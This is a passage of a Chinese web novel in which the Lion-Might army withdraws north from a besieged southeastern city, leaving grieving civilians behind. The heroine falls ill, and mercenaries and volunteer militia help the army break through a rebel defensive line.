狮威军走了,二十万**的黑鳞骑兵还在外面。
一旦狮威军离开,东南将沦为黑鳞骑兵屠宰的乐园,百姓们将置身比地狱还恐怖一万倍的魔窟。
因此,当霍乾念和云琛领着狮威军整队离城的时候,全城百姓都在道路两边和城门口站着。
他们疑惑、失望、怨恨、绝望……
眼神像最锋利的锥子一样,一道道扎在每个狮威军将士的身上。
将士们低着头,背着干瘪的行囊,无声地行军,从千百道锋利交织的目光中穿过。
没有百姓骂些什么,但充满怨怼的神情已足以说明所有。
明明放眼望去全是人,可却没有一点人声。
直到一个老大娘拄着拐杖颤巍巍地上前,牵住一个小将士的衣袖,才打破这沉默与死寂:
“孩子们,你们要上哪去啊?”
小将士根本不敢抬头看老大娘,耸拉着脑袋,低声地说:
“我们要北上。”
老大娘露出疑惑的表情,转而又明白过来的样子:
“去北边啊?北边冷,多穿点,好孩子。”
说罢,老大娘拿出身边的包裹,里面是几件新缝制的粗布冬衣。
老大娘将冬衣塞给那小将士,后者怎么也不肯收,只是一个劲儿地掉眼泪。
为了不搅乱民心,令全国为之沮丧,北伐军全军覆没和东宫失踪的消息,只有霍乾念和云琛几人知道。
朝廷严密封锁这一消息,也令霍乾念和云琛等不可私自泄露。
所有人只知道狮威军要撤离东南,北上去洛疆战场协助大败的北伐军,却没人知道真正的原因。
那老大娘也不知道,她只知道北方很冷,这些比她最小的孩子还要小的将士们,如果冬衣不够穿,会冻坏的。
老大娘和那小将士拿着冬衣来回推辞,旁边一个男人实在看不下去了,上前拦住那老大娘,语气不善道:
“大娘,人家不领情,您就别浪费心意了。他们都不要固英城了,您还管他们穿得暖不暖?”
听了这话,小将士瞬间把头埋得更低,却听那老大娘并没有附和着说下去,而是重重叹息一声:
“唉……还有谁,比咱们更知道吗?”
老大娘酸楚的声音在冬风中轻轻颤抖,传进每一个将士的耳中:
“咱们这可是固英城啊……打了两年的仗,地道钻过,羊人将军手底下逃过,还有人比咱们更知道,这些孩子们守了固英城多少次,豁出命保护了咱们多少次吗?”
这一字一句犹如无形的手,硬生生提住了每个将士的命线,令他们昂起头来,眼含热泪地看向这座古老又千疮百孔的固英城。
看向这些同生共**无数次,已几乎成为亲人的百姓们。
在小将士低声的啜泣中,老大娘将一件冬衣披在他的肩头,像对待自己的孩子一样,用
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那双苍老的、布满老茧的手,轻轻抚摸小将士的脸庞。
“去吧,孩子。”
许是被老大娘的话所感染,百姓们望向狮威军将士们的眼神中,少了许多失望和怨恨,多了些无奈和心疼。
望着满脸皱纹的老大娘,再想到今日就要离开,再也不能保护这城这人,固英城将第一个沦为黑鳞骑兵的屠宰场,小将士满腔悲哀绝恨,只觉无颜面对。
他将身上捆挂粮食的绳索解下,只留了一块砖头一样的冻米砖,将其余所有干粮都取下,用力塞进老大娘的怀里。
“大娘,万一黑鳞骑兵要……要……”
只说了半句,小将士就再也说不下去。
万一黑鳞骑兵又缺粮,要抓你,要杀你,要吃你……
小将士的咽喉像被一大团棉花堵着,“到时候,就拿这些粮食挡一挡吧……”
希望黑鳞骑兵吃了粮,就不**了吧。
这话没有人说出口,却又不必说。
所有人心里都明白,只要黑鳞骑兵吃光城里的粮食,就一定会将魔爪伸向毫无还手之力的百姓。
想到这里,行在队伍最前方的霍乾念回过头,望了那小将士和老大娘片刻,随即下令:
“全军听令,每人只留三日口粮,其余粮食原地卸下,留给百姓。”
一旁的法算官担忧道:
“本来粮食也只够七八日,这下卸去一大半,三日之后怎么办呢?”
云琛环顾四周百姓,“三日之后打野物,吃雪块,吃树叶,吃草,不论走到哪里,只要有树,就饿不死,冻不死。”
法算官点点头,不再说话,默默地去解腰间的粮袋。
将士们也纷纷卸粮,待队伍离城走远,只留下满地零零散散的粮食。
固英城突然变得空空荡荡,冷风不停地往城里灌,吹得人心冰凉。
第329章 蜂蜜糖
狮威军前脚离开固英城,后脚黑鳞骑兵就杀了进去。
据说,只一夜功夫,固英城就再也听不到孩童的哭声,只传出阵阵肉香。
消息很快传遍东南。
所有城镇都知道,他们很快就会沦为第二个固英城。
只因再也没有人守护他们了。
行军十天,不论经过哪座城,哪个村,狮威军都能接收到百姓们充满憎恨与愤怒的“夹道注目”。
将士们低着头,默不作声,匆匆行路。
有时遇到道路两旁的人骂“缩头乌龟”“忘恩负义的败类”,或是有人“呸呸”唾骂,将士们也都不吭声,不反驳。
直到途径一个村子,已临近叛军与义军交战的防线时,策马在队伍前部的荣易,突然被一个臭鸡蛋准准砸在脑袋上。
荣易气恼地拍打着头上的腥臭蛋液,怒目去寻那罪魁祸首,却对上一张冰冷又轻蔑的小脸。
一个十一二岁的男孩子站在路边,恨恨地瞪着荣易。
他浑身破破烂烂,衣服里的棉絮都露在外面,衣服已脏得看不出本来颜色,后背上是用石灰写着的一个大大的“援”字。
在狮威军被弹尽粮绝困在固英城,义军与夜行飞翼来救援时,许多包裹投放偏差,落在固英城周围的城村。
捡到包裹的百姓们,不仅没有将物资据为己有,反而自发组成运送粮食的“支援队”,在身上画下一个简陋又骄傲的“援”字。
男女老少共同扛着粮食和物资,冒着冰天雪地,一步步徒步向固英城,将希望带去狮威军。
一下子,气愤化为满腔深深的无力与愧疚,荣易瞬间泄气。
他在腰间摸索了一阵,将最后半块干粮抛给那男孩子。
男孩子没有去接,对着干粮狠狠踢了一脚,又啐了一口,然后飞快地跑远。
荣易僵在原地,不知如何是好。
一旁云琛见状,轻轻叹了口气,上前拾起那半块干粮,拍拍上面的灰,想要再还给荣易。
毕竟还没出叛军的包围线,粮食实在太珍贵。
她拿着干粮往队伍中走,目光却注意到路边一群人,正挥动铁锹,好像在挖些什么。
见其中一家只有祖孙四人,老爷爷拿着半截铁锹,挖得吃力,几乎要摔倒,一旁的老奶奶和两个孩子竟在徒手挖土,云琛赶忙上前帮忙。
“老人家,我来帮您!”云琛卖力地挥动铁锹,“要挖多大,多深?您说,我来挖。”
“埋尸坑,够埋我们一家老小四个人就行。”老爷爷牵着同样头发银白的老奶奶,以及两个懵懂的孩子,十分平静地回答。
云琛手里一抖,铁锹挥偏,狠狠砸在一块石头上,发出刺耳的摩擦声。
她僵住动作,震惊地望着那老爷爷,后者直直看着她,说:
“埋了总比被吃强,还能留个全尸。下辈子投胎,希望能投到一个没有战乱的地方吧。”
云琛声音干涩,摸了摸两个还不及她膝盖高的孩子的头,“您的儿女呢?”
“早**,义军打叛军的时候,他俩推着车,去给你们送馍馍,在路上被流箭射**。”
老爷爷说这话的时候很平静,一点怨恨都没有。
云琛却半张着嘴,半天回不过神,良久才垂下脑袋,吸了吸鼻子,低声道:
“那……老人家,你们要不要和我们的队伍一起走?一起……撤离东南?”
“不啦,你们北上也是打仗吧?我们跟着去,不过是换一个地方死。”
云琛回答不了。
她既无法作出承诺,说一定护着他们活下去,也无法保证今日丢失东南,明日丢失的会不会是东北,西南……
她甚至不知道此去结果将如何,自己还能活多久。
南璃君是否还活着,楠国会不会很快就要迎来灭国末日。
僵硬地站了许久,云琛重新挥动铁锹,挖起这足够埋掉一家老小的深坑。
一下比一下更深,一锹比一锹更沉重。
她感觉自己像个残忍的刽子手,像黑鳞骑兵的帮凶。
队伍中,靠近云琛的罗东东几人也纷纷跑来,帮剩下的百姓们挖起“尸坑”。
整个队伍都自发地停下来,将士们用饱含愧疚、无奈的眼神,沉沉望着那一个个尸坑。
等几人将尸坑挖好,云琛莫名累了一身大汗,像是浑身发软地打完一场必败的仗,累得想要虚脱。
“谢谢你,姑娘。”一旁的老奶奶走上前,用袖子帮云琛沾沾额头上的汗。
老爷爷则抬手拂过云琛满是刀痕破洞的铠甲,将她肩上两块刀砍后留下的碎片拨掉,然后从怀里摸出一颗有些斑驳的蜂蜜糖。
他把糖掰碎,挑出两个小块喂给孩子,将最大的一块送到云琛的嘴边。
最后剩下一点糖粉,他轻轻拢在手心,喂进老奶奶的嘴里。
看着云琛苍白小脸上一双倔强又饱含泪水的眼睛,老爷爷疼惜地说:
“可怜的世道,女娃儿都上战场了,吃吧,以后都不吃苦,只吃甜吧。”
云琛含泪咽下蜂蜜糖,放下荣易丢出去的干
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粮,而后摇摇晃晃地转身,几乎用爬的姿势骑上水中龙。
她不敢再回头去看那祖孙四人,却清楚地听见两个孩子奶声奶气地说:
“爷爷,好苦呀。”
爷爷叹息一声,哄道:“一会儿就不苦啦。”
云琛用力咽下一口,蜂蜜糖是苦的吗?
她吃不出来,只尝到勾心戳肺的酸楚。
队伍再次起程,云琛坐在马背上浑浑噩噩地行路,直到霍乾念与她说话,她才如大梦初醒一般,想起还没有回礼呢,急忙在身上到处乱摸,试图找到一样能报答那珍贵蜂蜜糖的东西。
霍乾念试图去抓她的手腕,“琛儿,冷静些!”
她根本听不见,瞪着大眼睛问霍乾念:
“你有贵重的东西吗?能在黑鳞骑兵杀来时换命的?有没有??”
摸来摸去,浑身除了伤痕和血痂,她身上什么都没有,粮食也都一路施舍完了。
看她急得快要哭出来,霍乾念将隐月剑上的南珠剑穗拆下来,递给她。
她像抓到救命稻草那样欣喜,连忙驾马掉头,朝祖孙四人飞奔去。
等她回到尸坑旁,那祖孙四人却已不见踪影,原本挖坑的人群也大都不见了。
只剩几个汉子一锹锹铲着地上的土,抛进一旁的尸坑中。
她急忙拽住铲土的汉子问:
“方才那四个人呢?老爷爷他们呢?”
汉子目光冰冷地打量她身上的军服,指指四周七八个已经填平的尸坑,麻木地开口:
“不知道在哪个坑里,你找吧。”
云琛怔住,直接一把揪住那汉子的衣领,怒吼质问:
“你们疯了?!怎么能活埋人?!”
那汉子一动不动,毫不反抗,脸上甚至带着一抹轻蔑:
“现在不埋,等什么时候?等黑鳞骑兵打过来,还来得及吗?”
停顿了一下,那汉子用没有语调的声音道:
“他们刚吃了断肠草,这会已经没气了。这附近的粮食全被你们吃完了,只剩毒草没人吃。断肠草好啊,死得快,就是太苦了。糖都压不住的苦。”
听了这话,云琛瞬间如坠冰窟,身上一阵激寒。
她踉跄着步子缓缓转身,猛然抬头——
望见头顶天空中,一头虎身鸟翼的穷奇凶兽正在撕咬太阳。
它扯下硕大一口,摇头摆尾,仰脖吞进,整个世界立刻黑暗下一半。
她惊恐地指向天,想叫别人也看一看,却感到天旋地转,接着两眼一黑,直直载进一个空尸坑里。
第330章 生病
云琛病了。
军医看过,说是风寒惊厥,病症很寻常。
但却来势汹汹,将甚少生病的她打倒不起。
且全军药物断绝已久,空投来的草药也早都用完,找不到一丁点可以治风寒的药。
因此,明明是非常普通的病,云琛却一连三日高烧不退,两个脸蛋烧得红扑扑的,整个人躺在榻上昏昏沉沉,一点力气都没有。
狮威军的队伍驻扎在与叛军防线仅有一箭之地的荒山里,霍乾念和霍阾玉在帐子里照顾云琛;
荣易和罗东东几次三番想要潜入叛军驻地偷草药,却不能成,反惹得对方更加戒备;
叶峮和不言满山遍野翻雪块,找草药,只找到寥寥几株枯萎的桔梗。
霍阾玉将桔梗一点点捏碎,放进雪水里熬煮,喂云琛喝下。
谁知喝了桔梗水,云琛不仅没有好转,反而烧得更厉害,陷入了半昏迷。
荣易急得在帐子里团团转,忍不住质问叶峮和不言:
“你们是不是找错药了?怎么还弄得更严重了!”
叶峮并不和荣易计较口舌之争,他比荣易还要忧虑,因为认识云琛这么多年,什么样的受伤流血都见过,还是第一次见她风寒生病。
那小身板虽清瘦,但一向挺结实,怎么一个风寒就将人撂倒成这样?
不言没有叶峮的心气,黑着脸怼道:
“要不你去翻雪山找草药?我去潜叛军?我估计两个时辰就找到药了!也不至于偷药不成,惹得叛军现在戒备更严!”
荣易被呛得说不出话,眼睛溜圆地瞪着不言。罗东东见状赶忙打圆场,才叫二人作罢。
这时,消失两天的荣江灰头土脸地赶回来,对霍乾念道:
“禀报将军,依将军命令前去刺探敌情。目前,北起幽州,南至烟城,此线之东南,三州、十六城、一百七十二郡、三百余县……东南已全部被黑鳞骑兵占领……我们必须尽快撤到幽州至烟城线以内,否则不出两日,黑鳞骑兵就会追上来。”
这个消息一出,所有人都感到形势严峻。
后方是两天就能追上来的黑鳞骑兵,前方是义军苦战不破的叛军。
狮威军必须要与义军前后夹击,攻破防线,才能逃出生天。
而且这破,必须将叛军绞杀殆尽,才能铸起东南防线,令黑鳞骑兵不能再深入屠戮楠国土地。
可如今,北上勤王救驾是第一要务,狮威军不能将时间和精力耗费在剿灭叛军上。
霍乾念望着云琛病色绯红的脸颊,小脸瘦得巴掌一般大,心中疼惜不已。
前有狼,后有虎。
粮草寥寥,药物告竭,大将病倒……
这撤离东南实在艰难。
正当霍乾念犹豫之间,榻上的云琛突然开始呕吐。
她病倒之前就没吃什么东西,此刻没东西可吐,只吐了一地酸水,最后甚至带着一点血丝。
见此情景,众人有点慌了。
风寒寻常,可也要人命。
霍阾玉搂住云琛轻拍后背。云琛吐完后,脱力地倒在榻上,随即陷入昏迷。霍阾玉急问:
“谁有红糖?化成热汤喝下,能抵挡两日,再这样下去,不吃东西光吐,只怕要吐血!”
荣易说了句“我去库房问问”,立马风一样旋走。
叶峮则道:“我记得当初空投包裹时,阿琛收到过京都和幽州寄来的包裹,有很多红糖。”
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不言叹气:“一路上早都施舍完了,只要是没吃饭的,不论军中将士还是老百姓,阿琛见一个就给一些,早散完了,自己一点没留。”
罗东东懊恼地捶脑袋:“云将军给过俺一块,俺饿得不行,含在嘴里吃完了,唉!”
“那包红糖的布呢?总会粘些糖渣子吧?”霍阾玉又问。
空投来的包裹都由布层层裹着。
军中物资短缺,布能做衣裳,能做鞋面,能包扎伤口,拆掉包裹之后,布便统一收入库房管理。
云琛的包裹布大约也在库房。
不言赶紧抬脚冲向库房,没一会儿又折返回来,急道:
“库房的人说,布太多了,找不出来,有没有什么标记?”
叶峮皱眉回忆,“我记得是一个蓝色的包裹,好像有花纹,是……是……”
“褪蓝色海棠花纹的。”霍阾玉接过话。
叶峮也想起来了,立刻点头称是。
霍阾玉将一朵枯萎的桔梗放进水碗,指着里面逐渐舒展的幽蓝色花瓣,对不言道:
“比这个颜色清雅些,半清蓝半月白,是幽州才有的海棠花的颜色,别的地方没有,应该好找。”
有了颜色做标识,这次,不言很快将包裹布带回,上面果然粘着不少红糖渣子。
霍阾玉冲了一小碗红糖水喂云琛喝下。
云琛没有再吐,但身上烧得愈发厉害,嘴里开始不停地说胡话。
“娘……娘……”云琛痛苦地蹙眉,口中迷迷糊糊呢喃着,像极了一只受伤的小兽。
这一幕简直像针扎在霍乾念心口。
他摸了摸云琛滚烫的脸颊,眉头深深拧在一起许久,眼神倏然决绝。
第331章 爱是铠甲
昏迷之中,云琛感觉像陷在没有尽头的泥沼里,怎么都游不动,游不到尽头。
她挣扎着爬出泥沼呼吸,目光瞥见岸边站着一人,正焦急地望着她。
只这么一暼,云琛就又沉入泥沼。
可这一暼已足够她看清,那人一身褪蓝色海棠花纹的衣裙,明净珠钗闪着温柔的光泽,桃花面上眉若远山,双眸似含水,正慈爱又悲伤地望着她。
“娘!”
云琛又惊又喜,奋力向上挣扎,口中声嘶力竭地呼喊,竟真的一跃挣脱泥沼。
可等她爬起身,岸边已空空如也。
她茫然四顾,伤心地大哭起来:
“娘——娘——孩儿无用……救不了你,也救不了那么多老百姓……孩儿无用……你原谅我……娘——娘啊——”
“琛儿!我在!”
一声有力的男音将云琛唤回现实。
她陡然惊醒,浑身已被汗湿透。
她将目光聚焦在近在咫尺的面容上,望着那逐渐清晰的熟悉眉眼,试探着又叫了一声:
“娘?”
山寂眉头不忍而动,紧紧抱住云琛,再次回答:
“琛儿,我在。”
听着这个声音,云琛终于彻底清醒。
山寂也适时地起身,恋恋不舍地松开手。
云琛揉揉发懵的脑袋,试图回忆都发生了些什么。
她只记得自己白日幻觉,瞧见什么凶兽吞日,而后便病倒在榻,什么都不知道了。
她环顾四周,昏迷时还人来人往的帐子,这会却静悄悄的,只有山寂陪着她。
“飞鱼哥哥,你怎么在这里?”她开口说话,声音嘶哑得像乌鸦一般,吓了她一跳。
山寂温柔地摸摸她的头,“你病了,我来照顾你。瞧,谁都照顾不好你,只有我可以。”
云琛脑子有点懵,没精力细想,只觉得山寂一出现,她就格外安心踏实。
可能山寂武功高强且为人特别可靠的缘故吧,她心里这样想。
她朝山寂露出个笑容,这才注意到他浑身布满深色血迹,衣服上竟全是刀痕箭伤。
竟有人能将武功高强的山寂重伤至此?
云琛大惊,也忘了“飞鱼哥哥”那啰嗦的称呼,直接脱口而出:
“哥!你怎么伤成这样?你遇见黑鳞骑兵了吗?和焦左泰交手了?那厮功夫不如你!可为人极其阴险毒辣!需得小心啊!哥你受伤重不重?”
完全听不见云琛那个“哥”字后面,都说了些什么,山寂强按住发酸又发暖的心口,心想哪怕此时此刻暴毙而亡,他也死无遗憾了。
见山寂不说话,只是用一种她甚少感受到的慈爱目光,定定望着她,云琛不觉愣住:
“飞鱼哥哥,我突然发现,你怎么……长得有点像我娘?”
山寂叹口气,又摸摸她的头,而后借着力道站起身,摁得云琛脑袋低了一下。
她摸着头,不满地嘟囔:
“你这是疼我还是欺负我呢?阿念呢?小心他又急眼。”
山寂“哈哈”笑了两声,完全不在意自己身上的伤,走到旁边堆得小山一样高的药包里挑挑拣拣,翻出包新的风寒药,仔细熬煮起来。
“你昏迷了五日,许多事不知道。眼下,义军正与叛军作战,只等将叛军防线打开突破口,狮威军便可从中穿越,继续北上。那个叫荣易,还有什么罗东东的,这会正领狮威军全军备战,做好随时冲防线的准备。”
说着,山寂开始系绑腿和护腕,将许多暗器往身上装备,俨然一副也要出发的样子。
“琛儿,一会儿打起来,你只管和哥哥待在一起,牢牢抱着我,不去听,不去看,哥哥会护你平安。”
云琛一听,立刻翻身下榻。
她知道战事已一触即发,容不得半点拖沓。
虽然大病初愈,身上发软,没什么力气,但她还是尽力用最快的速度穿戴整齐。
如果不是因噩梦惊醒,只怕山寂会直接将她抗上马背,杀出重围去。
不过她有些奇怪:“哥,你说荣易和罗东东在领军,那阿念呢?有他在,怎需要荣易领军?还有叶峮哥和不言哥呢?”
山寂手中顿了一下,还未回答,云琛又自言自语道:
“不对啊。病的时候我迷迷糊糊听到了,荣江说黑鳞骑兵已占领整个东南,两天就会追上来,怎么容我昏迷五天这么久?还有,我们走了,谁剿叛军,守东南,对抗黑鳞骑兵,防止他们再深入楠国呢,这事怎么决定的?”
云琛有一肚子问题想问,山寂定定望着她,犹豫着不知怎么开口。
她从山寂的脸上看出沉重和不忍,像是预感到了什么不好的消息,心里一沉:
“阿念呢?”
山寂不着痕迹地叹了口气:
“叶峮与不言已前往幽州再借马,以求在我们走后,能供义军守防线,剿叛军,对抗黑鳞骑兵;荣易与罗东东已与黑鳞骑兵战过一场,多拖了三日,一个时辰前刚刚收兵。
现在‘一大屋子’狮威军,只等防线这道‘门’什么时候开,什么时候才能继续北上。霍乾念就是那个去‘开门’的人。他走之前焚了红纸,叫我带药来照顾你。”
云琛消化了一会儿这段话。
调虎离山加狡兔三窟,且把最危险的“开门”任务留给自己,这很符合霍乾念的性子。
成,则狮威军继续北上,留义军在此对抗黑鳞骑兵;
不成,狮威军将被迫困在这里,如在固英城那般,与黑鳞骑兵一场接一场死战,直至消耗完所有兵力。
如此说来,这“开门”的任务之艰巨、极险,压力之大,已远远超乎想象。
云琛心中担忧,叹道:
“只是该怎么去开防线这道‘门’呢?只怕又要牺牲许多死士。”
“你俩不愧是一对儿,说的话一模一样。”山寂笑笑,而后表情变得沉重下来,“所以去‘开门’的只有两个人,霍乾念和荣江——他要亲自去烧敌军的粮草库,来开这门。”
寥寥几句话,云琛震惊地睁大眼睛,半天说不出话。
她清楚地知道霍乾念的决绝与盘算。
叛军正与义军作战,也晓得狮威军与黑鳞骑兵纠缠中,这会正是疏于防范背后、去偷袭的最好时机。
只是时机虽好,九死一生的代价也大。
她费了很大力气才能平复心情,摇摇头,驱赶掉脑袋里所有不好的念头,开始往身上穿戴铠
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甲。
她将头发高高束起,戴好头盔,防护严实,盼望一会儿别给山寂添麻烦。
看出云琛魂不守舍的忧虑模样,山寂将熬好的风寒药递给她,捏捏她的脸颊,故意逗她:
“呦,小媳妇儿担心呐?放心,霍乾念那家伙不会死的,他不是个短命相。”
云琛一口干掉药,失笑:
“你还会看相?无义血卫**护卫百万金,看相多少钱?”
山寂咧嘴笑:“看相不贵,一千两而已,就算在这次他请我来看顾你的费用里。”
一说到“费用”,云琛立马头大。
狮威军如今一穷二白,连粮草都没有,相离最近的几个霍帮堂口也犯上作乱,表示与霍乾念划清界限,他们眼下哪有钱付给无义血卫呢?
看出云琛心中所想,山寂故意挑眉坏笑:
“你相公这次许我一人一百五十万金的,我准他先欠着,战后结账。”
一百五十万两黄金,云琛觉得还行,霍乾念应该付的起。
她专注地掐手指头算钱,随山寂一同走出帐篷,抬头便见红彤彤一大片无义血卫,和山寂一样浑身是伤,正在那有说有笑地穿戴铠甲,她不由愣住:
“哥,你刚是不是说……一人一百五十万金……”
山寂笑得愈发大声,指着一大群无义血卫道:
“对。一共一百人,一千五百万两金哦。”
云琛无力地闭上眼:
“哥,要不我还是死一死吧,你们别来照顾我了,这价格真照顾不起……”
“哈哈哈哈哈——”山寂仰头大笑,看得一群无义血卫一愣一愣的。
他们见过山寂发火,瞪眼发飙,就是没见过山寂笑。
一个无义血卫上下打量云琛,调笑道:
“好俊的女将军!难怪山寂哥笑得这样开心!”
一听“女将军”三个字,其他正忙活的无义血卫们都被吸引看过来。
对于这些无亲无故、**换金的男人们来说,这世上除了金子,就只有女人最能吸引他们。
众无义血卫纷纷看向云琛,有人还朝云琛吹起口哨抛媚眼,最后还是在山寂一个凌厉的眼神下,众人才止住调戏。
甚少被这样对待,云琛有点愣,连脸红都忘记了。
她望着一个个浑身是伤却浑不在意、只顾着玩笑的无义血卫们,这才想到:
如今叛军防线严密到久攻不破、迟迟打不开‘门’,那山寂和无义血卫们又是怎么进来的呢?
她看向山寂身上纵横交错的伤口,许多地方还在渗血。
从她醒来到现在,山寂通通只说她最关心的霍乾念与兄弟们,对于他自己在收到消息后,是如何不要命地硬闯叛军防线杀过来,他只字不提。
但光是看着那一身战伤,云琛足以想象那险象环生。
无义血卫再厉害,也抵不过千军万马。
可千军万马再骇人,也抵不过一颗热烈滚烫的心。
对于山寂来说,什么都抵不过云琛。
接受到这份厚重的爱护之情,云琛感动不已。
再看这群好像比狮威军还不怕死的无义血卫们,她心里莫名其妙冒出一句话:
爱是铠甲,也是桎梏。
第332章 穿越防线
云琛嘴里的药苦还未消散,狮威军的将士们还未从刚刚结束的战斗中缓过来。
再战的号角声已响彻天际。
霍乾念和荣江历尽艰险,一把火点了叛军粮草库,引得叛军急急调动,暴露出防线最薄弱处。
义军立即蜂拥杀去,打开防线的缺口“大门”。
伴着高亢的号角声,荣易与罗东东冲锋在最前,带领狮威军全体发起突围。
过了这防线,这道“门”,就算真正撤出东南了。
狮威军的将士们嘶吼着向前冲去,没有人回头,但所有人都在心里说着:
“固英城,再见。东南,再见了。”
在满怀愧疚的情感驱使下,将士们抱着必死甚至愿死的决心,将战刀挥舞得赫赫带风。
鼎沸的杀喊声中,云琛趴在山寂后背上。
其他无义血卫们组成一个血红色的安全圈,将她与另一匹马背上的霍阾玉牢牢护卫其中,很快便冲杀入叛军防线中心。
像是穿梭在无尽的暴风中,云琛瞧见远方大火冲天,应该是叛军的粮草库。
她的耳边全是厮杀与哀嚎声,无数刀锋擦过小腿,激得她下意识更加用力抱住山寂。
她没有武器,没有还手之力,只有趴在山寂后背上的力气,却丝毫不觉恐惧。
仿佛依靠着这世上最坚固的战船,她仰头看着山寂高阔的肩膀,感受着他每一次挥舞战刀时肩背传来的力量,她莫名认定山寂一定能带她杀出重围。
很快,山寂和无义血卫们深陷叛军群中,开始与之贴身交战。
云琛可以清楚地看见装备齐全、几乎武装到牙齿的叛军,以及无数穿着布衣、甚至拿着歪弓,却目光坚定勇敢的义军们。
再仔细去看,云琛不禁心头震动,瞬间落泪。
义军们不过是民间护卫们、打手们、庄稼汉子们、志愿以身报国的小子们组成的“歪七扭八”的队伍。
不仅装备零散,且全都没有经过战前训练,几乎不懂怎么打仗。
她瞧见一个义军将士在对战中不慎掉落武器,明明地上全是散落的兵器,他却不去拿,竟还想着找回自己的武器,结果立马被敌人趁机打倒在地上。
失了兵器,那将士毫无招架之力,被打得满脸都是血,只能死死抱住那叛军的腿,企图用这种“**”的方式拖住那叛军。
那叛军被抱得差点摔个跟头,死命去砍那将士。
一刀,两刀,三刀……
那义军将士很快便不再动弹,双手却还死死固在那叛军腿上。
那叛军恨得牙痒痒,只能砍断那义军将士的胳膊,才得以逃出。
这一幕看得云琛气血上涌,恨不能亲自提刀上阵,将那叛军**万段才解恨!
可放眼望去,到处都是差不多的情景。
义军们哪里是在杀叛军,根本是用命往上扑,用身体拖住叛军,为狮威军打开逃出生天的“大门”。
狮威军的将士们不敢恋战,咬着牙从义军们的尸体上跨过,试图用最快的速度冲过防线,以求快速结束战斗,让义军的伤亡降到最低。
无义血卫们也发现了义军“被**”的作战困境。
大概是“护卫”的天性被激发,一个无义血卫唾了口血沫,对山寂道:
“掌门!我瞧这叛军忒他娘嚣张!我有点不爽!”
山寂用下巴指指不远处的一辆战车,邪邪一笑:
“瞧那车上穿铠甲的孙子没?好像是叛军首领,一个叫什么高俊杰的畜生。有本事你去杀来,我那份金子给你!”
“掌门说话算数!”那无义血卫听罢眼睛一亮,立马兴奋地朝战车冲去。
那叛军首领高俊杰,显然一不认识无义血卫,二更想不到对方实力这么恐怖。
只见一道血影上下翻飞,途径之处皆一阵惨叫。
他的亲兵们犹如被战车碾死的蚂蚁,眨眼便只剩下一地尸首。
高俊杰这才反应过来,那血影是冲着他来的,赶紧缩了脑袋就要逃跑,刚一扭头,却撞上同样来杀他的另一人。
抬头一眼,高俊杰当即吓呆在原地。
眼前之人威武而立,一身浓烟熏出来的斑驳黑灰,却挡不住貌若霜仙,气势高不可攀。
一双冰冷至极的凤眸后,半张黝黑狰狞的“鬼脸”若隐若现,好
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似寄生在霜仙背后的厉鬼,看得高俊杰两股战战,几乎要跪下。
没有一句废话,霍乾念抬起隐月剑,戳进高俊杰的胸口。
他刚要抽刀再来一下,却见高俊杰的脑袋高高飞起,接着又如烂果落地,滚落进沸腾的杀斗人群中,被马蹄狠狠踩踏,不知所踪。
那砍掉高俊杰人头的无义血卫朝霍乾念“嘿嘿”一笑:
“不好意思,我动作快,没办法。这畜生算我杀的昂!”
霍乾念不在意地摆摆手,那无义血卫随即高兴地朝山寂大喊:
“掌门!我杀了高俊杰!”
这一嗓门出来,周围的叛军们全都愣了,瞬间失了勇猛作战的气性。
其他无义血卫们见状,起哄似的大喊:
“哦豁——你们头儿**——没人管你们喽——还打个屁啊!”
见周围叛军都用一种看傻子的眼神看过来,山寂骂道:
“人家**还有副将管!赶紧走!不可恋战!”
众血卫再次形成严密的保护圈,簇拥着两匹马继续前行。
山寂望了眼飞奔过来的霍乾念,借着戳死一个叛军的力道飞身而起,将马背上的位置让出来,一跃跳上另一匹马——落座在霍阾玉的身后。
霍乾念飞快地将后背上狰狞乌黑的“东西”解下来,捆挂在马屁股上,然后跃上马背,握住云琛的手,忍不住有一瞬间的分神:
“琛儿,我很想你!”
云琛紧紧抱住他:
“我也是!”
一旁作护卫状的无义血卫们听了,忍不住咧咧嘴,搓了搓一身鸡皮疙瘩,看向另一匹马上正和霍阾玉大眼瞪小眼的山寂,用口型问道:
“掌门!这小子抢你女人!杀不杀?”
山寂没工夫搭理那几个血卫,与霍阾玉对视了好一会儿。
如此匆忙混乱的初次碰面,两人面面相觑,都不知道说啥好。
霍阾玉干脆将手里缰绳递给山寂,自己则乖巧小猫儿似的一趴,做好了标准的抓牢马背、防止掉下去的姿势。
山寂莫名被逗笑了,嘴角一扬,随即大力拉动缰绳,带着霍阾玉冲杀而去。
第333章 老将的愿望
从清晨杀到日暮。
当杀喊声被远远甩在身后,一望无际的雪原出现在眼前时,狮威军才意识到,终于成功穿越防线了。
众将士本想一鼓作气继续往前冲,可当途经义军后方的“营地”时,所有人都忍不住慢下脚步。
四下里只有奔跑过后的剧烈喘息。
众将士环顾四周,没有营房和主帐,没有防备分布。
几根棍子加破布,组合起来就是四处漏风的“营房”。
雪地上的一张张草榻,就是义军们过夜的“床”。
就连义军首领的住处,也不过是个堆满信函的棚子,除此之外,就只有成堆染血的草药布巾,几个空酒坛子,还有一张更为单薄的草榻。
夜行飞翼的帆布、龙骨等,像小山一样堆成两座。
一座看起来像是试飞不成的失败品,可见之前为了向狮威军空投包裹,浪费了多少人与物,大约要派出一千名飞翼进入暴风,才能保证一百名顺利空投。
另一座“小山”的飞翼,则清晰可见血色斑驳,两个翅膀上面全部是密密麻麻的箭伤。
整个“营地”简陋,随意,毫无讲究,甚至称得上松散混乱。
连留守营地的人都没有。
一个将士“咦?”了一声,从某个草榻的角落下拾起一张叠得四四方方的草纸。
打开来,入眼第一句是:
“娘,孩儿不孝,不能给你养老送终了……”
见状,将士们纷纷在周围的草榻下去寻。
一封封义军的遗书随之被翻出,摊开在雪地里。
“爹,我房里有两吊钱,拿去给小妹办嫁妆吧,我回不去了,用不上……”
“刘兄弟,我的包裹还在武馆,请你收拾了,寄给我媳妇儿……”
“娘,别哭,孩儿是保家卫国的大英雄,你该高兴呐……”
一张张草纸黑字,诉说着义军将士们最朴实无华的遗言。
霍乾念走进义军首领的棚子,翻了下草榻,没有找到遗书。
倒是云琛眼尖,瞧见角落有个破旧的小木桌,上面插着一把气势汹汹的虎牙**。
**尖将一张四方块的遗书定在桌面上,云琛取下摊开,没有别的,只有四个震动心弦的大字:
无愧苍生。
当暴风卷走千百封“伏乞苍生”的求救信时,谁都没想过,这回应竟如此惨烈又撼动人心吧。
众将士心头震动,回头望向义军与叛军还在交战的防线,黑烟滚滚未熄,战斗的杀喊声也没有停歇。
再看脚下的路,白雪已被踩得殷实,泛着滚烫的热血似的红。
